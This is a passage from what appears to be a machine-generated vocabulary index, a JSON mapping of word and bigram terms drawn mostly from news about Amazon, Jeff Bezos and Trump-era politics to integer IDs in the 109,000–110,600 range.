109208, "month congress": 109209, "judge complaints": 109210, "sellers kovach": 109211, "popular politics": 109212, "campaign donors": 109213, "weekdays reach": 109214, "publicly singled": 109215, "lvburke": 109216, "letter delivered": 109217, "dpz": 109218, "sector consumer": 109219, "counter information": 109220, "senior execs": 109221, "lauren s\u00e1nchez": 109222, "hq2 oversight": 109223, "lab coat": 109224, "profitable amazon": 109225, "don originate": 109226, "accelerate disbursement": 109227, "showflashslate containerel": 109228, "paterson democrat": 109229, "lissette gonzalez": 109230, "numbers won": 109231, "incredibly impressed": 109232, "mccain hat": 109233, "bezos lawyers": 109234, "fbi infiltrated": 109235, "gotten little": 109236, "textual": 109237, "000 costs": 109238, "attendance fought": 109239, "holding area": 109240, "monica california": 109241, "sinclair tribune": 109242, "ambitions amazon": 109243, "existing price": 109244, "cord": 109245, "particular product": 109246, "began offering": 109247, "lonely": 109248, "interview mccabe": 109249, "tax opioid": 109250, "looks identical": 109251, "posted record": 109252, "encouraged interested": 109253, "2016 notched": 109254, "endorse mccain": 109255, "surpassed 400": 109256, "job holders": 109257, "fate worthy": 109258, "king jeff": 109259, "night grizzlies": 109260, "sizzling ipo": 109261, "series documentaries": 109262, "user accounts": 109263, "important check": 109264, "shares gould": 109265, "offering fat": 109266, "curiously rebranded": 109267, "rich chronicle": 109268, "age gender": 109269, "women told": 109270, "calories youths": 109271, "enjoying": 109272, "centres despite": 109273, "doing meaning": 109274, "steady": 109275, "guinea pig": 109276, "marines troop": 109277, "extraordinarything": 109278, "marketocracy": 109279, "getting check": 109280, "yes williams": 109281, "turning amazon": 109282, "queens rep": 109283, "afterward president": 109284, "brain changes": 109285, "obviously volatile": 109286, "xip8joqswh": 109287, "competing businesses": 109288, "inland": 109289, "frei took": 109290, "viral standoff": 109291, "paradox": 109292, "leveling false": 109293, "actually works": 109294, "waters morgan": 109295, "1991 ap": 109296, "war conditions": 109297, "sh doesn": 109298, "conversation click": 109299, "note advising": 109300, "parodied": 109301, "service subsidizes": 109302, "causing stock": 109303, "growing web": 109304, "engines inform": 109305, "enforcement continues": 109306, "real hollywood": 109307, "shared rivalry": 109308, "pensions": 109309, "begin aggressively": 109310, "nfl games": 109311, "announced yesterday": 109312, "department inspect": 109313, "marketplace simply": 109314, "google goodwill": 109315, "cartoon gina": 109316, "trade related": 109317, "apple high": 109318, "major store": 109319, "exclusive rights": 109320, "point algonquin": 109321, "img_reusableflag": 109322, "nypd reports": 109323, "news scandal": 109324, "old home": 109325, "2018 wedbush": 109326, "highsmith": 109327, "stunning rally": 109328, "buff biceps": 109329, "coral reef": 109330, "known state": 109331, "making negative": 109332, "morale": 109333, "pervades quizzes": 109334, "cramer twitter": 109335, "send facebook": 109336, "bureaucratic elisabeth": 109337, "pretended": 109338, "need recode": 109339, "liberal colleges": 109340, "rty48517017": 109341, "egypt jan25": 109342, "ceo demand": 109343, "workplace enforcement": 109344, "abolition": 109345, "generosity new": 109346, "twitter jontalton": 109347, "day amid": 109348, "200 packages": 109349, "schroeder": 109350, "extend rally": 109351, "press cudgel": 109352, "significant philanthropic": 109353, "genre moving": 109354, "source software": 109355, "long eluded": 109356, "sales volumes": 109357, "scripts carl": 109358, "bureau chief": 109359, "high ceo": 109360, "modernization act": 109361, "looming climate": 109362, "encouraging cabinet": 109363, "tweets tied": 109364, "cnp": 109365, "launching fleet": 109366, "spiritually": 109367, "caption elle": 109368, "prices west": 109369, "implode": 109370, "amazon money": 109371, "base maybe": 109372, "receive aims": 109373, "ahamefule": 109374, "assists asylum": 109375, "jamie forese": 109376, "ebs": 109377, "amazon house": 109378, "reporter": 109379, "writers wanted": 109380, "attribute amazon": 109381, "bfk0jah9oj": 109382, "supermodel cheryl": 109383, "unh situation": 109384, "investigation focused": 109385, "attracts": 109386, "favouring adversary": 109387, "034": 109388, "say contain": 109389, "guest host": 109390, "estimate calls": 109391, "bishops": 109392, "screen compositions": 109393, "taken place": 109394, "windowless": 109395, "heralds": 109396, "displacement": 109397, "imageserve": 109398, "stirring citizen": 109399, "amazon stuck": 109400, "politics editorials": 109401, "retail takeover": 109402, "combustible": 109403, "earlier gains": 109404, "administration just": 109405, "tabernacle": 109406, "post called": 109407, "579 shares": 109408, "flourishing community": 109409, "permits amazon": 109410, "impossibility": 109411, "face great": 109412, "potential business": 109413, "photo dominique": 109414, "letter revenue": 109415, "online postings": 109416, "case amounted": 109417, "lander called": 109418, "takes page": 109419, "just gone": 109420, "sinister facility": 109421, "intu netapp": 109422, "people support": 109423, "jobs left": 109424, "objectionable democracy": 109425, "incipient": 109426, "television presenter": 109427, "cheaper xr": 109428, "\u0142100bn bezos": 109429, "national association": 109430, "star senator": 109431, "forms lists": 109432, "forte added": 109433, "today report": 109434, "session reaching": 109435, "scholarship catfish": 109436, "york principal": 109437, "president attitude": 109438, "ago divided": 109439, "parallel": 109440, "growing impatient": 109441, "405": 109442, "joint enterprise": 109443, "revenue channels": 109444, "american corporations": 109445, "trump frequently": 109446, "placing increased": 109447, "insider forbes": 109448, "farrell injured": 109449, "bias citing": 109450, "dismiss": 109451, "john brown": 109452, "revenue rose": 109453, "joe scarborough": 109454, "accurate source": 109455, "mid term": 109456, "seriously injured": 109457, "florida midterms": 109458, "book room": 109459, "couple love": 109460, "disposal": 109461, "oak": 109462, "fake papers": 109463, "mexico netflix": 109464, "brands clothes": 109465, "allegations empire": 109466, "bezos promised": 109467, "includes stories": 109468, "mail particularly": 109469, "empting": 109470, "jews increased": 109471, "later share": 109472, "labor markets": 109473, "1999 resulting": 109474, "calibre systems": 109475, "million financial": 109476, "pot ceramic": 109477, "far bigger": 109478, "godfather": 109479, "earning big": 109480, "query regarding": 109481, "facts real": 109482, "2015 tweet": 109483, "case offers": 109484, "inhabits literary": 109485, "notwithstanding": 109486, "2019 cnbc": 109487, "article saying": 109488, "culp says": 109489, "way bartiromo": 109490, "complaints regarding": 109491, "recent earnings": 109492, "goode taste": 109493, "retail employment": 109494, "maven brought": 109495, "licensing partners": 109496, "research study": 109497, "amazon published": 109498, "location consultant": 109499, "karni write": 109500, "jan25": 109501, "military projects": 109502, "early managers": 109503, "massachusetts jointly": 109504, "publication anne": 109505, "lock": 109506, "headquarters amazon": 109507, "physical presences": 109508, "starbucks read": 109509, "000 extra": 109510, "tirelessly greenpeace": 109511, "including academic": 109512, "amazon attack": 109513, "bigger story": 109514, "getting close": 109515, "devote time": 109516, "deliver perceived": 109517, "read": 109518, "service handling": 109519, "ebook": 109520, "systematically separating": 109521, "unrecommend share": 109522, "times book": 109523, "defineproperty": 109524, "fresh jolt": 109525, "blanketing": 109526, "involved think": 109527, "keeps gaining": 109528, "exposing": 109529, "kruger": 109530, "establish presumption": 109531, "mba spin": 109532, "watch investors": 109533, "cash drawer": 109534, "insider slimme": 109535, "bit surprised": 109536, "big investors": 109537, "phased": 109538, "button google": 109539, "tropical forest": 109540, "world hottest": 109541, "highly charged": 109542, "electronics industries": 109543, "complicated new": 109544, "trump sued": 109545, "iran leaders": 109546, "304": 109547, "market indexes": 109548, "pink legacy": 109549, "safety inadequate": 109550, "continue trade": 109551, "information control": 109552, "report identifying": 109553, "pending review": 109554, "undoubtedly value": 109555, "shock absorb": 109556, "2018 psssttt": 109557, "jihad": 109558, "life recipe": 109559, "salary absent": 109560, "stop excluding": 109561, "bloomberg intelligence": 109562, "opening path": 109563, "bartiromo assess": 109564, "minister nicolas": 109565, "comedian": 109566, "tax rules": 109567, "questions rich": 109568, "stop cronyism": 109569, "config": 109570, "new scheduling": 109571, "response encouraged": 109572, "writer lynn": 109573, "scour regional": 109574, "longer just": 109575, "care geekwire": 109576, "tax benefits": 109577, "postwar american": 109578, "repeatedly pretending": 109579, "amazon pokes": 109580, "webcast event": 109581, "expected benefits": 109582, "5calls": 109583, "astonishingly": 109584, "space administration": 109585, "arabia public": 109586, "jr praises": 109587, "bombshell announcement": 109588, "public": 109589, "send mail": 109590, "label inventory": 109591, "managers surveyed": 109592, "work think": 109593, "selden akron": 109594, "missouri": 109595, "durable packable": 109596, "chief executives": 109597, "improve shareholder": 109598, "country offering": 109599, "homepod offer": 109600, "small cashier": 109601, "evil forces": 109602, "inherently wrong": 109603, "acclaimed illustrated": 109604, "clark kmb": 109605, "dollar net": 109606, "talkpoverty org": 109607, "air livery": 109608, "features email": 109609, "illness unlikely": 109610, "rule changes": 109611, "vacant building": 109612, "power think": 109613, "intends": 109614, "generating billion": 109615, "keeping american": 109616, "meter tall": 109617, "selling make": 109618, "uncomfortable reality": 109619, "retiring justice": 109620, "amzn amzn": 109621, "virginia oversight": 109622, "extra anchor": 109623, "post wp": 109624, "value marketing": 109625, "moscow allegations": 109626, "cites reuters": 109627, "judge cleared": 109628, "trump needlessly": 109629, "acknowledges social": 109630, "relationships form": 109631, "issuing": 109632, "foremost bezos": 109633, "grabbed": 109634, "tomatoes": 109635, "spiral downward": 109636, "guys sandy": 109637, "day guaranteed": 109638, "bezos parties": 109639, "untrue": 109640, "just shoot": 109641, "raise 500": 109642, "democrat adam": 109643, "course online": 109644, "voter decisions": 109645, "martingale": 109646, "economy created": 109647, "registration customs": 109648, "court left": 109649, "lashing": 109650, "2016 new": 109651, "villages": 109652, "amazon pre": 109653, "krugman advice": 109654, "puts distance": 109655, "money cassidy": 109656, "digital age": 109657, "values bezos": 109658, "local citizens": 109659, "enquirer spend": 109660, "manipulating news": 109661, "tjv": 109662, "provide metapack": 109663, "laced search": 109664, "someday": 109665, "telecom tips": 109666, "stubs reflected": 109667, "employees make": 109668, "610 words": 109669, "postmortem": 109670, "agents": 109671, "commerce driven": 109672, "opposite happens": 109673, "stooge": 109674, "enable family": 109675, "oil": 109676, "telecommunications firm": 109677, "details emerged": 109678, "slow burn": 109679, "reuters nigeria": 109680, "time warner": 109681, "case centers": 109682, "verge amazon": 109683, "guaranteed": 109684, "consistently criticizes": 109685, "numbers undercut": 109686, "allbright volatile": 109687, "seen twitter": 109688, "main street": 109689, "hoax puppet": 109690, "ssupposed": 109691, "earnings jump": 109692, "assaults king": 109693, "target corp": 109694, "alina": 109695, "jets elegant": 109696, "xenophobic president": 109697, "including cbp": 109698, "brooke sutherland": 109699, "potential liability": 109700, "us69 billion": 109701, "emmy awards": 109702, "commercial delivery": 109703, "dichotomy": 109704, "executive committee": 109705, "parcel shipping": 109706, "project stems": 109707, "unexpected alliance": 109708, "akira kurosawa": 109709, "beating path": 109710, "american dividend": 109711, "dominion proposal": 109712, "vandalized": 109713, "primary dynamic": 109714, "dc lobbying": 109715, "selfies including": 109716, "edgy contrast": 109717, "represents consists": 109718, "decided issues": 109719, "unz": 109720, "pakistan follow": 109721, "parent controls": 109722, "rep ilhan": 109723, "management lc": 109724, "kiely": 109725, "pause seattle": 109726, "limited government": 109727, "certain documents": 109728, "member ruben": 109729, "leader praises": 109730, "biggest growth": 109731, "robert rauschenberg": 109732, "official trump": 109733, "workers deserve": 109734, "hit gilmore": 109735, "boedeker": 109736, "percival": 109737, "dress rights": 109738, "affect ing": 109739, "sarah ellison": 109740, "ecommerce firm": 109741, "real inside": 109742, "fireworks": 109743, "hire bryan": 109744, "various countries": 109745, "pecker communications": 109746, "months alexa": 109747, "reasons given": 109748, "ecolab new": 109749, "effort called": 109750, "cogdill sent": 109751, "capital investments": 109752, "lichtenberg suggested": 109753, "rca": 109754, "smaller geographic": 109755, "trump pulls": 109756, "strewn cemetery": 109757, "profits fall": 109758, "people doing": 109759, "fills void": 109760, "trends especially": 109761, "respect don": 109762, "just useful": 109763, "catalog albatross": 109764, "trumpstore": 109765, "wouldn level": 109766, "sheer white": 109767, "private universities": 109768, "katera right": 109769, "needed council": 109770, "whites": 109771, "repeatedly bashed": 109772, "accusing amazon": 109773, "squandering new": 109774, "edit administration": 109775, "mandatory life": 109776, "just refuses": 109777, "hearing scheduled": 109778, "giant afp": 109779, "enforcement customer": 109780, "bezos remained": 109781, "mchugh": 109782, "fires reporter": 109783, "navy plane": 109784, "balloonfest returns": 109785, "forensic": 109786, "travelist": 109787, "tory office": 109788, "gop lawmakers": 109789, "actively recruiting": 109790, "limited series": 109791, "says offering": 109792, "tweet savaging": 109793, "scary truth": 109794, "foundations sturdy": 109795, "contaminating": 109796, "rundown sent": 109797, "companies reality": 109798, "mario aces": 109799, "policy promises": 109800, "polo shirt": 109801, "government campaign": 109802, "buying physical": 109803, "robert crandall": 109804, "porri": 109805, "bid trump": 109806, "robert elizabeth": 109807, "gmt justin": 109808, "scenes": 109809, "mario": 109810, "growing field": 109811, "shot according": 109812, "democrats agree": 109813, "retail analyst": 109814, "choose amazon": 109815, "mark morgan": 109816, "hour special": 109817, "prime original": 109818, "globenewswire": 109819, "bangladesh jordan": 109820, "values lineup": 109821, "isn interfering": 109822, "episode": 109823, "repress": 109824, "programming game": 109825, "process follow": 109826, "owen": 109827, "horn williams": 109828, "border arrests": 109829, "362": 109830, "act require": 109831, "opinion eileen": 109832, "tv telecom": 109833, "customised": 109834, "latest fuckup": 109835, "sports notes": 109836, "bernstein looks": 109837, "marrero mailed": 109838, "administration deportation": 109839, "level tariffs": 109840, "conditions weren": 109841, "reinvigoration": 109842, "weitzman": 109843, "republicans increasingly": 109844, "fidelity herera": 109845, "134 run": 109846, "wants key": 109847, "procuring": 109848, "actually benefit": 109849, "catherine keener": 109850, "apparently chilling": 109851, "isaac smith": 109852, "businesses toxins": 109853, "intel broadens": 109854, "taken lot": 109855, "surprise organized": 109856, "ivanka face": 109857, "blunting population": 109858, "asked 600": 109859, "barron walmart": 109860, "mike rielly": 109861, "reputation resettlement": 109862, "gator": 109863, "association digital": 109864, "trump foundation": 109865, "eighth season": 109866, "fundraising page": 109867, "individual parent": 109868, "added 135": 109869, "emerald": 109870, "energy waste": 109871, "afternoon customers": 109872, "trump fired": 109873, "computer networks": 109874, "a26142277 howard": 109875, "nations body": 109876, "insider trump": 109877, "setting rates": 109878, "redrawing maps": 109879, "strike fear": 109880, "based coastline": 109881, "published seminal": 109882, "share information": 109883, "provider using": 109884, "houston astros": 109885, "bestow metropolis": 109886, "ponzi": 109887, "matters amid": 109888, "watching stream": 109889, "government contracts": 109890, "coalesced": 109891, "haphazard": 109892, "2018 ___": 109893, "competition causes": 109894, "demands citing": 109895, "bob": 109896, "final yr": 109897, "documentary david": 109898, "lastmodifiedtext": 109899, "random gas": 109900, "blackmail ami": 109901, "mmm": 109902, "smear campaign": 109903, "host talks": 109904, "fisher": 109905, "image 50x50": 109906, "aheadoftheherd": 109907, "world corp": 109908, "sessions listens": 109909, "bigger budget": 109910, "cost 119": 109911, "cleansing": 109912, "backcountry adventures": 109913, "tell justin": 109914, "bedfellow": 109915, "price climb": 109916, "strachan": 109917, "contributing ton": 109918, "having passed": 109919, "killed florida": 109920, "2080": 109921, "prioritizes longer": 109922, "later bezos": 109923, "amazon technology": 109924, "alleged efforts": 109925, "news economy": 109926, "games jeff": 109927, "ride hailing": 109928, "vance": 109929, "sales multiple": 109930, "pac called": 109931, "metascript remove": 109932, "fastdom mutate": 109933, "means reflects": 109934, "andnowuknow": 109935, "health hazard": 109936, "season big": 109937, "technological colonization": 109938, "shipping rate": 109939, "bondi": 109940, "exit": 109941, "ipa news": 109942, "national champion": 109943, "commissioner desloge": 109944, "headline unpresidented": 109945, "nke": 109946, "risks attracting": 109947, "parts bovine": 109948, "assaulted 2018": 109949, "larry kudlow": 109950, "jump ahead": 109951, "vermont doctors": 109952, "make outsized": 109953, "aws invention": 109954, "father trump": 109955, "japan weird": 109956, "outflow alert": 109957, "using": 109958, "schmitt": 109959, "netflix makes": 109960, "expressed political": 109961, "pinky thumb": 109962, "000 lawsuit": 109963, "new nyc": 109964, "langone surpassing": 109965, "watch donald": 109966, "demons humanity": 109967, "gear maker": 109968, "obamagatespyscandal courtland": 109969, "sourcescreen": 109970, "amazon stunning": 109971, "mystery parties": 109972, "durable": 109973, "help amzn": 109974, "takenon trump": 109975, "effort scott": 109976, "question answer": 109977, "newsstands bezos": 109978, "john mitchell": 109979, "queens state": 109980, "proposals announced": 109981, "trump protectionist": 109982, "income housing": 109983, "leak investigations": 109984, "uses numerous": 109985, "millionaire uncle": 109986, "living rooms": 109987, "cbp": 109988, "romano bob": 109989, "deal executives": 109990, "579": 109991, "scaring": 109992, "ibm just": 109993, "direct hits": 109994, "cultural capital": 109995, "weight watchers": 109996, "mmwave": 109997, "jacqueline teammoya": 109998, "yes inaudible": 109999, "muckerman feel": 110000, "journal report": 110001, "clientx": 110002, "brotopia breaking": 110003, "tax scam": 110004, "recommend changing": 110005, "nations wealth": 110006, "amazing customer": 110007, "bid president": 110008, "bullying organisation": 110009, "productive purpose": 110010, "shopping increasingly": 110011, "sportscenter": 110012, "broad marketing": 110013, "paul sonne": 110014, "ctsh": 110015, "announce plans": 110016, "just change": 110017, "concerns cisco": 110018, "selling children": 110019, "city guidelines": 110020, "patrol agents": 110021, "incorrect according": 110022, "personal property": 110023, "vaccines technocrats": 110024, "right moves": 110025, "lama specifically": 110026, "oesn": 110027, "exit intel": 110028, "text amazon": 110029, "breathes life": 110030, "ecclestone alec": 110031, "greater opportunities": 110032, "day 2004": 110033, "commodity markets": 110034, "certainly thetrump": 110035, "story canopy": 110036, "billion chatham": 110037, "d5ttj5cspw towleroad": 110038, "factory": 110039, "cages amazon": 110040, "editors realize": 110041, "evacuated mean": 110042, "gluck": 110043, "legislature approval": 110044, "delivery firms": 110045, "imposed tough": 110046, "seller": 110047, "comp insurance": 110048, "community protection": 110049, "retaliating": 110050, "special announcement": 110051, "service instagram": 110052, "ap italy": 110053, "financed hockey": 110054, "howard wrote": 110055, "user centered": 110056, "trumps aim": 110057, "making connections": 110058, "outsized affect": 110059, "tight housing": 110060, "sending tweets": 110061, "woes won": 110062, "faced protesters": 110063, "story salesforces": 110064, "massive hack": 110065, "congress refused": 110066, "dangerous precedents": 110067, "shadowy firm": 110068, "nisen": 110069, "irs took": 110070, "latest zinke": 110071, "silvio ant\u00f4nio": 110072, "hosting military": 110073, "replacing robert": 110074, "pitkin pitkin": 110075, "intensive care": 110076, "brooklyn launch": 110077, "different branding": 110078, "organization trumpstore": 110079, "favor international": 110080, "cisco turns": 110081, "pocketbooks": 110082, "distraction created": 110083, "big seller": 110084, "reportedly sent": 110085, "sector perform": 110086, "habila work": 110087, "ohio received": 110088, "given high": 110089, "multiple reasons": 110090, "oscars npr": 110091, "bezos amid": 110092, "established local": 110093, "packard": 110094, "cable providers": 110095, "investment virginia": 110096, "hope": 110097, "manigualt newsman": 110098, "removals pe\u00f1a": 110099, "colors trump": 110100, "players deal": 110101, "lobbyists advocating": 110102, "bezos speculation": 110103, "paying customers": 110104, "immense damage": 110105, "day shipping": 110106, "karman line": 110107, "high ranking": 110108, "tactic bank": 110109, "arose": 110110, "dean witter": 110111, "way walked": 110112, "iser kump": 110113, "generated gross": 110114, "sure businesses": 110115, "bezos attends": 110116, "elite soldier": 110117, "multi cultural": 110118, "isn president": 110119, "wilke unveiling": 110120, "producing crop": 110121, "office closest": 110122, "program provides": 110123, "revenue huge": 110124, "vendors navarro": 110125, "preferred rate": 110126, "martin baron": 110127, "cortez main": 110128, "bay fearful": 110129, "street powerhouses": 110130, "gunman opens": 110131, "avert": 110132, "ukhashtags": 110133, "trust limited": 110134, "mania telecom": 110135, "hooray": 110136, "a8 n4": 110137, "market capital": 110138, "growth drives": 110139, "study examines": 110140, "minister luigi": 110141, "suggestive": 110142, "post failure": 110143, "kgeldzji5z": 110144, "rates share": 110145, "race footage": 110146, "war situation": 110147, "ongoing growth": 110148, "investor speaking": 110149, "public catch": 110150, "ayaz gul": 110151, "afp sessions": 110152, "getting lot": 110153, "owner responds": 110154, "tackled": 110155, "cited deeply": 110156, "tables": 110157, "1116et": 110158, "suitable": 110159, "motives bezos": 110160, "series financing": 110161, "freedom act": 110162, "trump tenure": 110163, "criminal charge": 110164, "afp jeff": 110165, "cleaning supplies": 110166, "pardoning": 110167, "marshall joshtpm": 110168, "single greatest": 110169, "security review": 110170, "public romance": 110171, "legislation reauthorizing": 110172, "counterfeits counterfeiting": 110173, "enquirer denied": 110174, "breakingviews": 110175, "regular healthcare": 110176, "guaranteed delivery": 110177, "accused weinstein": 110178, "world images": 110179, "right katherine": 110180, "kardashians": 110181, "0723et": 110182, "post analyzed": 110183, "fast feed": 110184, "2018 recent": 110185, "unfccc united": 110186, "methodical innovation": 110187, "mounted sensor": 110188, "districts regardless": 110189, "margins according": 110190, "lead leave": 110191, "pubic region": 110192, "line knowing": 110193, "experienced experts": 110194, "debacle especially": 110195, "partners company": 110196, "service leeway": 110197, "movetonexttimeout muteplayerenabled": 110198, "stories involve": 110199, "chief doug": 110200, "company offered": 110201, "nancypelosi": 110202, "heights boeing": 110203, "doj": 110204, "remote areas": 110205, "librarian": 110206, "innovative approach": 110207, "emptive killing": 110208, "received staggering": 110209, "galloway marketing": 110210, "higher did": 110211, "images according": 110212, "shilling": 110213, "rising temperatures": 110214, "larry connor": 110215, "amazon fierce": 110216, "adventure park": 110217, "really special": 110218, "building billion": 110219, "federal digital": 110220, "mars": 110221, "disclaimer": 110222, "merch perpetuated": 110223, "statement detailing": 110224, "post rigorous": 110225, "hooded sweatshirt": 110226, "reliable cross": 110227, "raised tantalising": 110228, "immigration hire": 110229, "big goliath": 110230, "tony cox": 110231, "evidence points": 110232, "site hydro": 110233, "favorite selfie": 110234, "links list": 110235, "story libertarian": 110236, "innovators post": 110237, "express concern": 110238, "waterproof waxed": 110239, "marketing officer": 110240, "actually contains": 110241, "costs amazon": 110242, "way jedi": 110243, "mideast economy": 110244, "unique perspective": 110245, "blackmail extortion": 110246, "matching set": 110247, "asking": 110248, "president henry": 110249, "official reuters": 110250, "bucked amazon": 110251, "miller texit": 110252, "meditation device": 110253, "netflix unless": 110254, "attract": 110255, "r1 trillion": 110256, "packaging el": 110257, "discounted price": 110258, "machines multiple": 110259, "think going": 110260, "just usps": 110261, "uncover donations": 110262, "businesses means": 110263, "blake asks": 110264, "biggest mistake": 110265, "ktla tv": 110266, "travel carbon": 110267, "nyse nok": 110268, "state financed": 110269, "wouldn kick": 110270, "ummm": 110271, "search term": 110272, "highly compromising": 110273, "wealth jumps": 110274, "cap mgmt": 110275, "political backstory": 110276, "hold seller": 110277, "fortunately optimists": 110278, "fake nbc": 110279, "long list": 110280, "keshner 415": 110281, "koyyur": 110282, "bezos democratic": 110283, "supremists": 110284, "neighborhoods trump": 110285, "credible critic": 110286, "compelling sense": 110287, "say mccain": 110288, "enabled bezos": 110289, "key engine": 110290, "impression": 110291, "gamechanger": 110292, "motor carrier": 110293, "watchers left": 110294, "space ventures": 110295, "meltzer": 110296, "outdated phrases": 110297, "head joseph": 110298, "vehicles hit": 110299, "dailyrecord": 110300, "huge brooklyn": 110301, "headed trade": 110302, "amazon liars": 110303, "amazon limitless": 110304, "american packages": 110305, "won charge": 110306, "anti press": 110307, "long times": 110308, "fcc": 110309, "great pressure": 110310, "warner schiff": 110311, "hands 107k6": 110312, "berkshire venture": 110313, "foxconn milks": 110314, "today bank": 110315, "details read": 110316, "month gizmodo": 110317, "chan warned": 110318, "winston salem": 110319, "vishaan": 110320, "exchange replying": 110321, "mike ponce": 110322, "daily newsletter": 110323, "recently indicted": 110324, "hq2 bakeoff": 110325, "offsetx offsety": 110326, "nyc department": 110327, "emails statement": 110328, "syria 1537260656": 110329, "federally funded": 110330, "enacting": 110331, "best seattle": 110332, "diddy combs": 110333, "2015 thrivenyc": 110334, "wrapping notarization": 110335, "using capital": 110336, "sues trump": 110337, "extreme crisis": 110338, "p4 r4ee": 110339, "important anymore": 110340, "aya0kkbxn2": 110341, "ban fbi": 110342, "rejected alleged": 110343, "democrats won": 110344, "hardball": 110345, "calling democratic": 110346, "purposefully vague": 110347, "desjarlais": 110348, "longislandcity queens": 110349, "distances": 110350, "lampert roommate": 110351, "pfizer nyse": 110352, "connotations": 110353, "occupation occupyicepdx": 110354, "avoid preference": 110355, "ross john": 110356, "newsroom equivalent": 110357, "suncor model": 110358, "difficult going": 110359, "watching markets": 110360, "utilization": 110361, "gobsmacking": 110362, "blur": 110363, "founder sent": 110364, "children access": 110365, "slowing revenue": 110366, "sen richard": 110367, "daily edition": 110368, "chief white": 110369, "airwaves auction": 110370, "susan walsh": 110371, "carly burns": 110372, "tens": 110373, "2018 image": 110374, "iphone xs": 110375, "different government": 110376, "pony": 110377, "don imus": 110378, "inviting current": 110379, "alleged contractor": 110380, "ideas trump": 110381, "wrote talking": 110382, "reviewmeta": 110383, "cataloged": 110384, "related midwest": 110385, "palantir advised": 110386, "false statements": 110387, "fails testing": 110388, "tech prowess": 110389, "dads": 110390, "dismisses questions": 110391, "norah norah": 110392, "photos arts": 110393, "body cameras": 110394, "helped produce": 110395, "fingerprint left": 110396, "slaughter johnson": 110397, "becker confirms": 110398, "deaf ears": 110399, "poster children": 110400, "stop small": 110401, "trump bent": 110402, "5yr cloud": 110403, "christian whiton": 110404, "computer site": 110405, "immature \u0430is": 110406, "valedictorians don": 110407, "edwards wireimage": 110408, "cloud times": 110409, "remain solid": 110410, "thinks jeff": 110411, "ehrat announced": 110412, "median age": 110413, "liberalism file": 110414, "liberal tears": 110415, "letters online": 110416, "ride share": 110417, "produce shareholder": 110418, "robust roster": 110419, "exist rice": 110420, "haiti state": 110421, "wide profits": 110422, "film history": 110423, "times andrew": 110424, "broward teachers": 110425, "reemerge": 110426, "remain undecided": 110427, "county register": 110428, "filed public": 110429, "computer vision": 110430, "2030 connecting": 110431, "magic bullet": 110432, "quickly acquired": 110433, "process according": 110434, "whines": 110435, "senator claim": 110436, "morgan freeman": 110437, "incredible right": 110438, "world consequences": 110439, "matrimonial lawyer": 110440, "standher": 110441, "years particularly": 110442, "immigration policy": 110443, "obtain confidential": 110444, "factual record": 110445, "photo pin": 110446, "magazine nicknamed": 110447, "created space": 110448, "acquisition fedex": 110449, "josh duboff": 110450, "content police": 110451, "leaders summit": 110452, "advsr llc": 110453, "ultimately denied": 110454, "weeks trump": 110455, "long listened": 110456, "capital plans": 110457, "comic books": 110458, "tuxedo": 110459, "blazes spread": 110460, "major headlines": 110461, "american consumerism": 110462, "whatsapp president": 110463, "commerce including": 110464, "interstate": 110465, "election people": 110466, "fortune telling": 110467, "equal branch": 110468, "leadership childhood": 110469, "stamps warehouse": 110470, "putin shook": 110471, "michael": 110472, "elections months": 110473, "wasn running": 110474, "grassroots protesters": 110475, "america seeks": 110476, "investigate sanders": 110477, "chrissy metz": 110478, "question answered": 110479, "brands reported": 110480, "caught nbc": 110481, "publicity operation": 110482, "father fantasized": 110483, "callista gingrich": 110484, "basic rules": 110485, "history mourning": 110486, "160 000": 110487, "fart colbert": 110488, "000 vehicles": 110489, "says rachel": 110490, "hq2 according": 110491, "guy weekend": 110492, "colombian counterpart": 110493, "expectations bolstered": 110494, "beijing including": 110495, "allegedly responsible": 110496, "despite recent": 110497, "foods led": 110498, "plan concocted": 110499, "lowest price": 110500, "day forms": 110501, "trended": 110502, "3lift": 110503, "amy sheppard": 110504, "new opportunity": 110505, "pakistan powerful": 110506, "called karenia": 110507, "teresa mosqueda": 110508, "ending": 110509, "earn sanders": 110510, "given competing": 110511, "community maniac": 110512, "contact users": 110513, "list sales": 110514, "transportation people": 110515, "observe stays": 110516, "odd coming": 110517, "era literary": 110518, "build artificial": 110519, "03vdg4nes6 story": 110520, "m6 write": 110521, "powerful rhetoric": 110522, "origin family": 110523, "urus": 110524, "celine": 110525, "drawing attention": 110526, "extortion scandal": 110527, "provides employees": 110528, "298 people": 110529, "local governments": 110530, "briefly teased": 110531, "folklore": 110532, "ron zink": 110533, "gun range": 110534, "potomac": 110535, "minister image": 110536, "current parcel": 110537, "immediate results": 110538, "bigwigs steal": 110539, "hour conversation": 110540, "issue report": 110541, "trump floated": 110542, "shipping partners": 110543, "ng": 110544, "contends include": 110545, "pa nomiki": 110546, "rationed": 110547, "priests": 110548, "roesner": 110549, "s4a 1289121590": 110550, "change plan": 110551, "similar views": 110552, "fan unnecessary": 110553, "betrayed women": 110554, "118 million": 110555, "new eu": 110556, "trump impact": 110557, "day attacking": 110558, "talks race": 110559, "mueller iii": 110560, "foster vibrant": 110561, "optical": 110562, "rig explosion": 110563, "2019 years": 110564, "enthusiastic candidate": 110565, "neighborhoods values": 110566, "adjunct professor": 110567, "media entities": 110568, "run far": 110569, "1007 exlarge": 110570, "nemesis": 110571, "based episode": 110572, "south rowan": 110573, "dayen": 110574, "american detective": 110575, "sanchez married": 110576, "ring ami": 110577, "credits new": 110578, "als": 110579, "competitive strengths": 110580, "rm40": 110581, "cathedral need": 110582, "states escalated": 110583, "consumer base": 110584, "terrify": 110585, "practically takes": 110586, "pre baby": 110587, "brad stone": 110588, "emissions": 110589, "smart city": 110590, "nti": 110591, "favorite social": 110592, "indicate": 110593, "worldwideerc": 110594, "correctness": 110595, "profile company": 110596, "gaining momentum": 110597, "tomi kilgore": 110598, "spicer tome": 110599, "locally": 110600, "potential nominees": 110601, "repeatedly urging": 110602, "labs shared": 110603, "obit krauthammer": 110604, "affected pfizer": 110605, "party campaign": 110606, "document mma": 110607, "theyll": 110608, "daily chart": 110609, "dc iww": 110610, "way china": 110611, "political convention": 110612, "site streeteasy": 110613, "zion williamson": 110614, "tabloids": 110615, "club pick": 110616, "new job": 110617, "instead choosing": 110618, "issued vague": 110619, "killed dozens": 110620, "expressed openness": 110621, "lover suggestive": 110622, "haverty think": 110623, "smerconish added": 110624, "oil refiners": 110625, "revealing portrait": 110626, "offer guaranteed": 110627, "short jaunt": 110628, "law hurts": 110629, "bezos quote": 110630, "carnival te": 110631, "billionaires including": 110632, "bare embarrassing": 110633, "grounds probably": 110634, "lax jose": 110635, "manufacturer jay": 110636, "retailers linked": 110637, "county supervisor": 110638, "porat": 110639, "rose chat": 